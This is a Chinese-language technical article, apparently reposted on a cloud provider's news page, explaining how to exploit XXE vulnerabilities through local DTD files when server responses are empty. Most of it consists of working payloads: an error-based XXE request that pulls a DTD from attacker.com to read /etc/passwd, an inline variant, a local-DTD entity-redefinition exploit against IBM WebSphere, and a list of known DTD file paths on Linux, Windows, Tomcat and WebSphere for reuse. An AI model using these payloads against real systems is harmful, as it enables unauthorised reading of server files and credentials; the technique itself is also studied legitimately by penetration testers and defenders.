您好,登錄后才能下訂單哦!
怎樣使用本地DTD文件來利用XXE漏洞實現任意結果輸出,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
下面我要向大家分享一個小技巧,即使用本地DTD文件來利用XXE漏洞從而實現任意結果的輸出。
想象一下你有一個支持外部實體的XXE,但服務器的響應始終為空。在這種情況下,你有兩種選擇:基于錯誤和帶外利用。
以下是基于錯誤的示例:
Request
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">%ext; ]> <message></message>
ext.dtd 中的內容
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
看到了嗎?你正在使用外部服務器進行payload的傳遞。如果你和目標服務器之間有防火墻,你可以做什么?答案是什么都做不了!
那么,如果我們將外部DTD文件的內容直接放到DOCTYPE標簽內又會是什么結果?會一直出現一些錯誤。
Request
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval; %error; ]> <message></message>
外部DTD允許我們在第二個實體中包含一個實體,但它在內部DTD中被禁止。
要想在內部DTD子集中使用外部DTD語法,你可以在目標主機上強制執行本地dtd文件,并在其中重新定義一些參數實體引用:
Request
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"><!ENTITY % condition 'aaa)><!ENTITY &#x25; file SYSTEM "file:///etc/passwd"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">&#x25;eval; &#x25;error; <!ELEMENT aa (bb'>%local_dtd; ]> <message>any text</message>
sip-app_1_0.dtd 中的內容
… <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> …
它起作用是因為所有XML實體都是常量,如果定義兩個具有相同名稱的實體則僅使用第一個實體。
通過枚舉來查找文件和目錄應該是最簡單的方法了,以下是一些成功應用此技巧的例子:
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
感謝來自Positive Technologies的@Mike_n1分享的這條始終存在的Windows DTD文件路徑。
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;
多平臺 IBM WebSphere 應用
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
關于怎樣使用本地DTD文件來利用XXE漏洞實現任意結果輸出問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。